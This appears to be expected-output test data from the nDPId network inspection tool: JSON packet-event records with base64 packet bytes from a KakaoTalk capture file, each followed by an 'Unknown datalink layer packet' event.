+00506{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":379248,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIYAAEAAHRH89AHJAa4KGFK8WgQsOABy46yAbDMsfrBRg1SapdqqGBEY0kCun1yhLMEhkvT\/YA7he5YeJgU5DAVj0RWlgUJafk9KekulbXt0LQPVcVMQ2SrU3uQgaTFYy74QbRexzwhGufrAGHXeAXllfkH1JVzWF31PuJ8f\/tKDyUCA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":395667,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABG4BOAbFCmi0Dv2guGVRkleNc6objpZ+Qwl6QdQXBJ8I58UIpGm1XtkIuMrgvV51Ag12ZNqjGJ5055hfmaqbvEbQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":403937,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmtGCAbDNDfrCnw1SapdpqIkJs+utGsmPnWVEKFQkpLAV+qhCgh+DAtIv325OVgw4VqF7EceWpuphL3tkvf1aK08fYHeXuIP1jPNZVj7h1nM+vK5yxnNVGA0bw4t7VfqLR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":407935,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABPf\/+AbFC9i0FGGguGVRm5rCUjUH2RSeXwmtGFlNDbrNEEIXGuR\/JbV81pA2hF59bhTlVfAkSlyLtEln249Jm84V2bI4mXlEUYvg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":408118,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMFPyAbFCni0DzmguGVRkxfm0enYinq7tk2\/mPMxQsnjLuV0KfZyec799H7i8z8uvC3VD\/BJIUBN6aaKIg5Gl4\/QZSPa0nKQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":409491,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAPxHbNwoYUrwByQGuLDhaBABX5KuAbFC+i0FJ2guGVRlzYPHVDCdlADTxU1dT40tVKBXlqeoNltl+Ubj\/p0crFMO4dIjpc0Wj3DbNJ0PG+GfROwNTsNWm72wUFXTDTD7P3xW7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":419379,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn90AAPwb5eQoYUrxuTI8ygMgfkPcR4RqSeOf7gBAA3ZVVAAABAQgKAAtOLETcACs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":441291,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZDnWAbDNEfrCrg1SapdphF6QMkh+j4uu2MiFu\/zbHDYw5m93uVopTmMMB67xZVJuJRR5l25FKOuGYLWBQpwUl09dW25tU0K132FYukEVMQfSchqg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":456275,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJcAAEAAHRH84wHJAa4KGFK8WgQsOACDpMOAbDMtfrBVQ1SapdpTN\/i63OppsLmhLzmttACno94VFmyJvfXLCFmssXtz\/tb02D6pENTkXR1yLV0ZujwuwrSGloAvb3hEtEtsDjlExlgJhk6PfNUXELUiGA\/Ecva7WBW7VmQVJt9IDpdR\/Xse6GssxRcSjglKnHlr3uI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":456641,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHP9eAbFCoi0D3WguGVRkHNCBGgiiLct85Pmk5iIc1uVS6mGTLZlXi9WXnCalMkmZ6Tl1wMW0KXMbt9Z\/\/xUmgFVU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":456732,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJgAAEAAHRH84gHJAa4KGFK8WgQsOACEjJGAbDMufrBZA1SapdomX3gPmJ5La4iNkOb\/\/tR5lm17jE\/iCE\/Lmue9F8skhIOXHakVrHqkbO5C+176wBMrwwXPcFsYs3uBx4GbenG9tzrxTq9G\/B8Dljvoj7ghCXxlGDS2Y\/xf1Dir0lsJl9QSQQPkPzUpaXfJtb\/2mY8O"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":470526,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHBH+GQHJAa4KGFK8WgYoHABNFD2AbFCpi0D7GguGVRm6m99ciA3C5KBMduOMDpn5WVp5JyIBncvdQV0hApg7zzRtT71uyqBJuxaGA89RTFoerdPnbjntiOU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":470679,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIsAAEAAHRH87wHJAa4KGFK8WgQsOAB3PmaAbDMvfrBcw1SapdqR+yjnm50Ro1hl3PsIXbsR73HuhQfcyyC2EMMPm3eCzcpFA81\/nIi9Ixop1+NLd9fTaZS\/0iGMTgRfyWya9UoZN9pPcqcVwMd6JXGk8ibiOzLlzqKD3OMtgplareIQM5s3bm0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2174,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":487067,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBk7M+AbDNFfrCvQ1SapdrLdUEetiXy9sm92Qm1tV3IISU2qE85VpvVeG26IMpp28FNKLYNeO4Yj\/plk17U\/ZcXmGsjz8pq9p4w4NxZSVljPn6NRBe9M1\/lVCNbgEhVvw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2175,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":492835,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJqyuAbFCqi0D+2guGVRma1d5mMvxA9pAsmMosLVLMdhBABWEWYOewH6Z+iGIX0QzoGYfVMGOIzYZhqCJtrcU0pj+73w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2176,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":510443,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH\/FiAbFC\/i0FNmguGVRmOyxabpDYl4fdjsu3bzRuq2t8Cnk4DkGu+R6AnrRkaLpxTujrPnvAJsc\/T70OfKwJ5VJs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2177,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":510596,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAPxHbQQoYUrwByQGuLDhaBABN9E6AbFDAi0FRWguGVRnGHr6FCcltI0W2X5I3xILfWIrZg4+S0908OvBW4vzAW\/34yX7fezZ0JhFkfkCeLvdp2ISRUjiTAKo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2178,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":555487,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJIAAEAAHRH86AHJAa4KGFK8WgQsOAB+cBCAbDMwfrBgg1SapdqIpPBYn\/P\/O0t\/OWbhxigMdcDGkP1bnd8Cq2qpOtxMUmXcet4P0LNqrVOGmGByMOPXuFCBIhfvzByUJ+OQv\/XqEWDKtRwA+8tKgxpaLd57hmcF4Bhnt2rHN4zOjQCDagJ7XzKvctgopGO8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2179,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":556220,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHRH9BgHJAa4KGFK8WgQsOABgXo+AbDMxfrBkQ1SapdolwvnwzwMK5JZ7CpzmoiMlsGkTnmT2QL1Uo8XqOq07RjbnIk6ujU9PP5xbLXaozGofdsm3A7M5VnzkkZcM4kuhPilk4AMPFpHq\/CCN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2180,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":567847,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHcAAEAAQBHaKwoYUrwByQGuKBxaBgBjxKaAbDNGfrCzA1SapdqC0UaVM9Qwivs2v\/IITJbRrVqZTjtncW4cm9JjwRIqk95bnNkGYjAOT3po+SpQGrCzLSB6etMG6R0Cq4KvIHhh9bOQsbUc+8iClz9PU1Dh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2181,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00398{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":570380,"pkt_caplen":70,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADZOxEAAQAYrcwoYUrzLzZfp0tYfkMl8NsazTa2QgBgBtkz+AAABAQgKAALV8MwmIb5QFA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":579261,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ4AAEAAGxH+3AHJAa4KGFK8WgYoHACKtVmAbFCri0ECmguGVRnVztbuHeYsYCrkqRaCGtYfKpqm2c1nQabDwbhVEgUwoBq1IgzH82EhzTqzsx\/kICDlK79kWMbJ2ovnkYa7bQGuyWEhp1nIfYP\/J1k0P6Pd7WfUKejn6bWwRV51Sx3crXutGGiW7nwLM7xpL9PQ7J7LsrQdJPO7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":605200,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI4AAEAAQBHaFAoYUrwByQGuKBxaBgB6llCAbDNHfrC2w1Sapdo7ns+VPY1OL++yPlKTj6if6\/dFMINQzgyvazNfjgQD1JNjA1z99Dl8kCiYbgUrs\/zd0b2E00TynRk1jTpY4HaMKWc1jGZcRjgqZFWWB97skji\/IhU+EQYnaaGmrGQE6aTYMRvHsls="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":608130,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJ7FCAbFDBi0FVGguGVRmOOvqnd0wYeGjSuzTui7htr9UfS1QeZE2hMr0qDrH\/5LqGl78BG8Gy0LXzA9lf99gx10FVJQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":655493,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJYAAEAAHBH95AHJAa4KGFK8WgYoHACCspCAbFCsi0EGWguGVRkVuhOBkhsRF46aA+LVY9KLVnxxDmv6a0betWgteHwWngROTY+4LuQtm3TbSAnd53\/CtoKgyb24pew0PA+j2S2F01AmXDe9UgJ9l2VCwGZePm6LGrRkNdeClC4guXAHEbaFD0ZugXm8mHlNZyGouw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":681586,"pkt_caplen":160,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":160,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJAAAEAAQBHaEgoYUrwByQGuKBxaBgB8LSiAbDNIfrC6g1SapdpSLPJugCl1XPuDxdtM1aSpnqfXTQBCRGZhi6iLYE6PBK\/xhCwKg3nvY3pj4TLpWrPbt0D0fm8rlzmUkyI5BtmhxfJrmnITI32dmwzpkNFPMoKRaEtaRSHnbvXIL+UK0rwjkyVV4bbhJA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":687262,"pkt_caplen":152,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":152,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIgAAEAAHRH88gHJAa4KGFK8WgQsOAB074aAbDMyfrBoA1Sapdq750tU8fVdnPBwNp6hl2BZUWgQc8c7NsIotJIpH1RzTavtvQ1vSXe7kkZgVq43lsUwCxW0SUpsuL7slGFdJvHRrbcDBfbaXTVdHr7e+sNQGEq8z4MhXixbEUmkTdJG5eg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":709449,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGvgSAbFDCi0FY2guGVRkAjtDABhzv8DZgz4IycP7e9\/F+30LjZEG0cwSuKDgb38nI6MxXdyEcnt6Mnc3vmeNstg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":711798,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHdDeAbFDDi0FcmguGVRnDfAktObxPEQCqH94dNrDTW353a+sr9Ka9+o1IB5J\/mGR0h4IISGu+WHNeIEXmeglNQZ4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":759406,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK4AAEAAHBH9zAHJAa4KGFK8WgYoHACaUQeAbFCti0EKGguGVRk7Sqws4Z4s1UVQkzjznLn\/QJjtNMj8veNgktCFcOkYxx5o5wOsiTfw3jESuFWHtCYdO5x2CkJAmLSiYSgLdZ0tVJemOTysHtYaA\/waMpbucdzTRrD7Kv7jDYvv7dDj+emkBbNLbpJlwoB4IF0aHTWUguu07m1tdhi0NCeIYNmIIFcX1ZPU7w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00525{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":765814,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJUAAEAAQBHaDQoYUrwByQGuKBxaBgCBvceAbDNJfrC+Q1Sapdq0WfIhT172Vt+xfwnnk9yz6e3apMZOfD+gZaNqnKM33EXScBadu+Q7Cx4pJ8liLdU\/mLyx76y2wTDpCtdJOtPhdPO9Ax++9mHIZ1aNNQcWr7SHCbgGiFfO7kfecScGXSlcjqDjBx9R64Yywg8n"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":788581,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHMAAEAAHRH9BwHJAa4KGFK8WgQsOABfMY6AbDMzfrBrw1SapdozKnwc1xfOtexrmnketxl9AEqN\/TmQIZnPuRBvdd8xvqBBw4vLaQvTxeB1r+n9H3vjp9FAI+evjyK1R3P3t2zLOmuAiobAoea3cFc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069202,"pkt_ts_usec":805182,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAQBHaMQoYUrwByQGuKBxaBgBdYN6AbDNKfrDCA1Sapdq+9SQSRw0S41T5fsA2IIB3Y47f4DFgUpJGA\/leJFcYSXriEJrAX9tUMm2V44rqFLRSAqjgAaA\/h\/5N2wdvRyI1EdzzwGew2A9H"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 